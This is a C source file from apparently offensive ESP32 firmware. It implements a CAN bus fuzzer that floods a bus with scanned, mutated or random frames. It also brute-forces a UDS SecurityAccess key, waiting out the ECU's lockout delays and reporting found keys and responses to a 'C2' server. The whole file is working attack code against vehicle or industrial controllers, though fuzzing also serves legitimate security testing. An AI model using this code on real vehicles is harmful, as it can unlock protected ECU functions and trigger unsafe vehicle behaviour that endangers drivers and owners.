/* * canbus_fuzz.c * CAN bus fuzzing engine implementation. * * Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2. */ #include "sdkconfig.h" #if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ) #include #include "esp_log.h" #include "esp_random.h" #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "freertos/semphr.h" #include "canbus_fuzz.h" #include "canbus_driver.h" #include "utils.h" #ifdef CONFIG_CANBUS_ISO_TP #include "canbus_isotp.h" #endif #define TAG "CAN_FUZZ" static volatile bool s_fuzz_running = false; static TaskHandle_t s_fuzz_task = NULL; static fuzz_config_t s_fuzz_cfg; static const char *s_fuzz_req_id = NULL; static uint32_t s_fuzz_count = 0; static uint32_t s_fuzz_responses = 0; static SemaphoreHandle_t s_fuzz_mutex = NULL; /* ============================================================ * Response detector callback * ============================================================ */ /* Temporary callback to detect responses during fuzzing */ static can_rx_callback_t s_prev_cb = NULL; static void *s_prev_ctx = NULL; static void fuzz_rx_callback(const can_frame_t *frame, void *ctx) { (void)ctx; /* Count any response and report interesting ones */ s_fuzz_responses++; /* Report to C2 */ char line[96]; snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|", (unsigned long)frame->id, frame->dlc); size_t off = strlen(line); for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) { off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]); } msg_data(TAG, line, strlen(line), false, s_fuzz_req_id); /* Chain to original callback */ if (s_prev_cb) s_prev_cb(frame, s_prev_ctx); } /* ============================================================ * Fuzz Modes * ============================================================ */ /* ID Scan: send fixed payload on every ID in range */ static void fuzz_id_scan(void) { uint8_t data[8]; memcpy(data, s_fuzz_cfg.seed_data, 8); uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8; for (uint32_t id = s_fuzz_cfg.id_start; id <= s_fuzz_cfg.id_end && s_fuzz_running; id++) { can_frame_t frame = { .id = id, .dlc = dlc, .extended = (id > 0x7FF), .rtr = false, }; memcpy(frame.data, data, 8); can_driver_send(&frame); s_fuzz_count++; if (s_fuzz_cfg.delay_ms > 0) { vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); } if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) { break; } } } /* Data Mutate: for a fixed ID, try all values for each byte */ static void fuzz_data_mutate(void) { can_frame_t frame = { .id = s_fuzz_cfg.target_id, .dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8, .extended = (s_fuzz_cfg.target_id > 0x7FF), .rtr = false, }; memcpy(frame.data, s_fuzz_cfg.seed_data, 8); /* For each byte position, try all 256 values */ for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) { uint8_t original = frame.data[pos]; for (int val = 0; val < 256 && s_fuzz_running; val++) { frame.data[pos] = (uint8_t)val; can_driver_send(&frame); s_fuzz_count++; if (s_fuzz_cfg.delay_ms > 0) { vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); } if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) { return; } } frame.data[pos] = original; /* Restore for next position */ } } /* Random: random ID + random data */ static void fuzz_random(void) { int max_iter = s_fuzz_cfg.max_iterations > 0 ? s_fuzz_cfg.max_iterations : 10000; for (int i = 0; i < max_iter && s_fuzz_running; i++) { uint32_t rand_val = esp_random(); can_frame_t frame = { .id = rand_val & 0x7FF, /* Standard ID range */ .dlc = (uint8_t)((esp_random() % 8) + 1), .extended = false, .rtr = false, }; /* Fill with random data */ uint32_t r1 = esp_random(); uint32_t r2 = esp_random(); memcpy(&frame.data[0], &r1, 4); memcpy(&frame.data[4], &r2, 4); can_driver_send(&frame); s_fuzz_count++; if (s_fuzz_cfg.delay_ms > 0) { vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); } } } /* UDS Auth: brute-force SecurityAccess key */ static void fuzz_uds_auth(void) { #ifdef CONFIG_CANBUS_ISO_TP uint32_t tx_id = s_fuzz_cfg.target_id; uint32_t rx_id = tx_id + 0x08; int max_iter = s_fuzz_cfg.max_iterations > 0 ? s_fuzz_cfg.max_iterations : 65536; ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id); for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) { /* Step 1: Request seed (SecurityAccess level 0x01) */ uint8_t seed_req[2] = { 0x27, 0x01 }; uint8_t resp[32]; size_t resp_len = 0; isotp_status_t st = isotp_request( tx_id, rx_id, seed_req, 2, resp, sizeof(resp), &resp_len, 1000 ); if (st != ISOTP_OK || resp_len < 2) { vTaskDelay(pdMS_TO_TICKS(100)); continue; } /* Check for exceededAttempts NRC (0x36) — back off */ if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) { ESP_LOGW(TAG, "ExceededAttempts — waiting 10s"); vTaskDelay(pdMS_TO_TICKS(10000)); continue; } /* Check for timeDelayNotExpired NRC (0x37) — back off */ if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) { ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s"); vTaskDelay(pdMS_TO_TICKS(10000)); continue; } /* Positive seed response: 0x67, 0x01, seed bytes */ if (resp[0] != 0x67 || resp[1] != 0x01) continue; int seed_len = (int)resp_len - 2; if (seed_len <= 0 || seed_len > 8) continue; /* Step 2: Try key (incremental or random based on iteration) */ uint8_t key_req[10] = { 0x27, 0x02 }; int key_len; if (seed_len <= 2) { /* Short seed: try sequential */ key_len = seed_len; key_req[2] = (uint8_t)(attempt >> 8); if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF); else key_req[2] = (uint8_t)(attempt & 0xFF); } else { /* Long seed: try random keys */ key_len = seed_len; uint32_t r1 = esp_random(); uint32_t r2 = esp_random(); memcpy(&key_req[2], &r1, 4); if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4); } resp_len = 0; st = isotp_request( tx_id, rx_id, key_req, 2 + key_len, resp, sizeof(resp), &resp_len, 1000 ); s_fuzz_count++; if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) { /* SUCCESS! */ char line[64]; snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|", (unsigned long)tx_id); size_t off = strlen(line); for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) { off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]); } msg_data(TAG, line, strlen(line), false, s_fuzz_req_id); ESP_LOGI(TAG, "Security key found!"); s_fuzz_running = false; break; } if (s_fuzz_cfg.delay_ms > 0) { vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); } /* Progress report every 100 attempts */ if ((attempt % 100) == 99) { char progress[48]; snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1); msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id); } } #else ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP"); s_fuzz_running = false; #endif } /* ============================================================ * Fuzz Task * ============================================================ */ static void fuzz_task(void *arg) { (void)arg; ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode); s_fuzz_count = 0; s_fuzz_responses = 0; switch (s_fuzz_cfg.mode) { case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break; case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break; case FUZZ_MODE_RANDOM: fuzz_random(); break; case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break; } /* Report completion */ char done[80]; snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32, s_fuzz_count, s_fuzz_responses); msg_data(TAG, done, strlen(done), true, s_fuzz_req_id); s_fuzz_running = false; s_fuzz_task = NULL; vTaskDelete(NULL); } /* ============================================================ * Public API * ============================================================ */ bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id) { if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex(); xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY); if (s_fuzz_running) { ESP_LOGW(TAG, "Fuzzing already in progress"); xSemaphoreGive(s_fuzz_mutex); return false; } if (!can_driver_is_running()) { ESP_LOGE(TAG, "CAN driver not running"); xSemaphoreGive(s_fuzz_mutex); return false; } s_fuzz_cfg = *cfg; s_fuzz_req_id = request_id; s_fuzz_running = true; BaseType_t ret = xTaskCreatePinnedToCore( fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1 ); if (ret != pdPASS) { s_fuzz_running = false; xSemaphoreGive(s_fuzz_mutex); return false; } xSemaphoreGive(s_fuzz_mutex); return true; } void can_fuzz_stop(void) { if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex(); xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY); s_fuzz_running = false; xSemaphoreGive(s_fuzz_mutex); for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) { vTaskDelay(pdMS_TO_TICKS(50)); } } bool can_fuzz_is_running(void) { return s_fuzz_running; } #endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */